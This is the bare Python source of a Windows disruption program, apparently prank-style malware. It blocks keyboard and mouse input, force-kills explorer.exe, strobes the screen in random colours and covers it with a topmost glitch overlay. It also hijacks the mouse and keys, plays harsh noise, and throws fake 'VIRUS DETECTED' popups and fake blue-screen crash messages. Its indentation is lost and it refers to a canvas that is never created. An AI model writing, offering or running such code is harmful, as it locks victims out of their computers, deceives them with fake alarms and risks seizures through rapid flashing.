SF
SF
/usr/bin/env python3
import subprocess
import ctypes
import ctypes.wintypes
import threading
import random
import time
import tkinter as tk
import pyautogui
import win32api
import win32con
from PIL import Image, ImageTk, ImageOps, ImageEnhance
import numpy as np
import cv2
import sounddevice as sd
import pygetwindow as gw
BLOCK_INPUT = True
KILL_EXPLORER = True
def block_input():
ctypes.windll.user32.BlockInput(True)
def color_flashstorm():
hwnd = ctypes.windll.user32.GetDesktopWindow()
hdc = ctypes.windll.user32.GetDC(hwnd)
while True:
for _ in range(random.randint(4,10)):
r,g,b = [random.randint(0,255) for _ in range(3)]
col = b<<16 | g<<8 | r
brush = ctypes.windll.gdi32.CreateSolidBrush(col)
w,h = pyautogui.size()
rect = ctypes.wintypes.RECT(0,0,w,h)
ctypes.windll.user32.FillRect(hdc, ctypes.byref(rect), brush)
ctypes.windll.gdi32.DeleteObject(brush)
time.sleep(random.uniform(0.002,0.008))
time.sleep(random.uniform(0.02,0.1))
def drunk_mouse():
w,h = pyautogui.size()
while True:
x,y = random.randrange(w), random.randrange(h)
pyautogui.moveTo(x,y, duration=random.uniform(0,0.06))
if random.random()>0.65: pyautogui.click(x,y,
button=random.choice(['left','right']))
if random.random()>0.80: pyautogui.scroll(random.randint(-500,500))
time.sleep(random.uniform(0.003,0.02))
def input_jammer():
keys = [win32con.VK_LWIN, win32con.VK_MENU, win32con.VK_TAB,
win32con.VK_CONTROL, win32con.VK_SHIFT, win32con.VK_ESCAPE]
while True:
k = random.choice(keys)
win32api.keybd_event(k,0,0,0)
time.sleep(random.uniform(0.01,0.05))
win32api.keybd_event(k,0,win32con.KEYEVENTF_KEYUP,0)
time.sleep(random.uniform(0.01,0.07))
def audio_hell():
fs = 44100
while True:
# generate a rapid chirp + noise + glitch burst
dur = random.uniform(0.05, 0.2)
t = np.linspace(0, dur, int(fs*dur), False)
f0 = random.uniform(200, 8000)
f1 = random.uniform(200, 8000)
freqs = np.linspace(f0, f1, t.size)
sine = np.sin(2*np.pi * freqs * t)
noise = np.random.randn(t.size) * random.uniform(0.2, 1.0)
glitch = np.sign(np.sin(2*np.pi * freqs * t * random.uniform(1.5,3.0)))
burst = (sine * random.uniform(0.5,1.2) + noise +
glitch*random.uniform(0.3,0.7)).astype(np.float32)
# stereo panning
pan = random.random()
stereo = np.vstack([burst * pan, burst * (1-pan)]).T
sd.play(stereo, fs, blocking=False)
def popup_storm():
msgs = ["CRITICAL ERROR","VIRUS DETECTED","DATA CORRUPTED","KERNEL PANIC","💥
💀","ACCESS DENIED"]
while True:
for _ in range(random.randint(3,8)):
ctypes.windll.user32.MessageBoxW(
None,
random.choice(msgs),
random.choice(msgs),
random.choice([0, win32con.MB_ICONERROR, win32con.MB_ICONWARNING])
)
time.sleep(random.uniform(0.3,1.5))
def taskbar_window_glitch():
while True:
wins = gw.getAllWindows()
for w in random.sample(wins, min(6,len(wins))):
if w.title and w.visible and not w.isMinimized:
w.minimize(); time.sleep(0.01); w.restore()
time.sleep(random.uniform(0.1,0.5))
class VisualInsanity:
def __init__(self):
if KILL_EXPLORER:
try:
subprocess.run(["taskkill","/f","/im","explorer.exe"], check=True)
except:
pass
if BLOCK_INPUT:
block_input()
self.root = tk.Tk()
w,h = self.root.winfo_screenwidth(), self.root.winfo_screenheight()
self.w, self.h = w, h
self.root.overrideredirect(1)
self.root.geometry(f"{w}x{h}+0+0")
self.root.attributes("-topmost", True)
hwnd = self.root.winfo_id()
st = ctypes.windll.user32.GetWindowLongW(hwnd, -20)
ctypes.windll.user32.SetWindowLongW(hwnd, -20, st|0x80000|0x20)
ctypes.windll.user32.SetLayeredWindowAttributes(hwnd, 0, int(255*0.7), 0x2)
self.schedule_frame()
self.schedule_bsod()
self.schedule_vibrato_overlay()
self.schedule_gridbreak()
self.schedule_window_jitter()
def schedule_frame(self):
w,h = self.w, self.h
t = time.time()
arr = np.random.randint(0,255,(h,w,3),dtype=np.uint8)
img = Image.fromarray(arr,'RGB')
if random.random()>0.7: img = ImageOps.invert(img)
if random.random()>0.6: img = ImageOps.solarize(img,
random.randint(16,200))
if random.random()>0.7: img =
img.rotate(random.choice([90,180,270]),expand=True)
if random.random()>0.7:
img = ImageEnhance.Contrast(img).enhance(random.uniform(0.05,4.0))
arr = np.array(img)
block = random.randint(30,90)
for _ in range(random.randint(5,20)):
bx = random.randint(0, max(0, w-block))
by = random.randint(0, max(0, h-block))
p = arr[by:by+block, bx:bx+block].copy()
if p.size==0: continue
p = np.rot90(p, k=random.randint(1,3)) if random.random()>0.5 else
np.fliplr(p)
arr[by:by+block, bx:bx+block] = p
if random.random()>0.5:
b,g,r = cv2.split(arr)
b = np.roll(b, random.randint(-16,16), axis=1)
r = np.roll(r, random.randint(-16,16), axis=0)
arr = cv2.merge([b,g,r])
if random.random()>0.5:
s = random.randint(5,16)
sm = cv2.resize(arr,(w//s,h//s),interpolation=cv2.INTER_NEAREST)
arr = cv2.resize(sm,(w,h),interpolation=cv2.INTER_NEAREST)
if random.random()>0.3:
pts1 = np.float32([[0,0],[w,0],[0,h],[w,h]])
j = int(90*random.random())
pts2 = pts1 + np.random.uniform(-j,j,pts1.shape).astype(np.float32)
arr = cv2.warpPerspective(arr, cv2.getPerspectiveTransform(pts1,pts2),
(w,h), borderMode=cv2.BORDER_REFLECT)
if random.random()>0.3:
freq = random.uniform(0.03,0.13); amp = random.uniform(20,90)
mx,my = np.zeros((h,w),np.float32), np.zeros((h,w),np.float32)
for i in range(h):
shift = np.sin(2*np.pi*(i/h)*freq + t*5)*amp
mx[i,:] = np.arange(w)+shift; my[i,:] = i
arr = cv2.remap(arr, mx, my, cv2.INTER_LINEAR,
borderMode=cv2.BORDER_REFLECT)
for y in range(0,h,random.randint(2,7)):
arr[y,:,:] ^= random.randint(0,255)
for _ in range(random.randint(3,9)):
bx = random.randint(0, max(0, w-30))
by = random.randint(0, max(0, h-30))
arr[by:by+20, bx:bx+20] ^= random.randint(0,255)
th = t*random.uniform(2.0,4.0)
yy,xx = np.indices((h,w))
diag = xx*np.cos(th)+yy*np.sin(th)
stripes = ((diag/12)%1)*255
hsv = cv2.cvtColor(arr, cv2.COLOR_BGR2HSV)
hsv[...,0] = (hsv[...,0].astype(int)+stripes.astype(int))%180
arr = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)
img2 = ImageTk.PhotoImage(Image.fromarray(arr,'RGB'))
self.imgtk = img2; self.canvas.create_image(0,0,anchor='nw',image=img2)
self.root.after(random.randint(3,14), self.schedule_frame)
def schedule_bsod(self):
if random.random()<0.016:
bs = tk.Toplevel(self.root); bs.overrideredirect(1)
bs.geometry(f"{self.w}x{self.h}+0+0"); bs.config(bg='#0000AA')
msg = ("A problem has been detected and Windows has been shut down.\n\
n"
"*** STOP: 0xDEADBEEF (0xCAFEBABE)\nSystem meltdown.\n")
tk.Label(bs, text=msg, fg='white', bg='#0000AA',
font=('Consolas',22),
justify='left').pack(expand=True,fill='both')
bs.after(random.randint(200,1400), bs.destroy)
self.root.after(random.randint(120,640), self.schedule_bsod)
def schedule_vibrato_overlay(self):
if random.random()>0.6:
ov = tk.Toplevel(self.root); ov.overrideredirect(1); ov.attributes("-
topmost",True)
ov.config(bg='black')
sz = random.randint(self.h//3, self.h)
ov.geometry(f"{sz}x{sz}+{random.randint(0,self.w-sz)}+
{random.randint(0,self.h-sz)}")
c = tk.Canvas(ov, width=sz, height=sz, highlightthickness=0,
bg='black'); c.pack()
arr = np.random.randint(0,255,(sz,sz,3),dtype=np.uint8)
for y in range(0,sz,random.randint(2,12)):
arr[y,:,:]^=random.randint(0,255)
img = ImageTk.PhotoImage(Image.fromarray(arr,'RGB'));
c.create_image(0,0,anchor='nw',image=img)
ov.after(random.randint(100,500), ov.destroy)
self.root.after(random.randint(30,110), self.schedule_vibrato_overlay)
def schedule_gridbreak(self):
if random.random()>0.6:
arr = np.zeros((self.h,self.w,3),dtype=np.uint8)
for _ in range(random.randint(2,8)):
bx,by = random.randint(0,self.w-80), random.randint(0,self.h-80)
bw,bh = random.randint(40,160), random.randint(40,160)
arr[by:by+bh,bx:bx+bw] = np.random.randint(0,255,(bh,bw,3))
img = ImageTk.PhotoImage(Image.fromarray(arr,'RGB'))
ov = tk.Toplevel(self.root); ov.overrideredirect(1); ov.attributes("-
topmost",True)
ov.attributes("-alpha",random.uniform(0.18,0.45))
c = tk.Canvas(ov, width=self.w, height=self.h, highlightthickness=0,
bg='black'); c.pack()
c.create_image(0,0,anchor='nw',image=img);
ov.geometry(f"{self.w}x{self.h}+0+0")
ov.after(random.randint(90,390), ov.destroy)
self.root.after(random.randint(50,160), self.schedule_gridbreak)
def schedule_window_jitter(self):
if random.random()>0.07:
dx,dy = random.randint(-80,80), random.randint(-80,80)
self.root.geometry(f"{self.w}x{self.h}+{dx}+{dy}")
else:
self.root.geometry(f"{self.w}x{self.h}+0+0")
self.root.after(random.randint(25,150), self.schedule_window_jitter)
def run(self):
self.root.mainloop()
if __name__ == "__main__":
threading.Thread(target=color_flashstorm, daemon=True).start()
threading.Thread(target=drunk_mouse, daemon=True).start()
threading.Thread(target=input_jammer, daemon=True).start()
threading.Thread(target=audio_hell, daemon=True).start()
threading.Thread(target=popup_storm, daemon=True).start()
threading.Thread(target=taskbar_window_glitch,daemon=True).start()
VisualInsanity().run()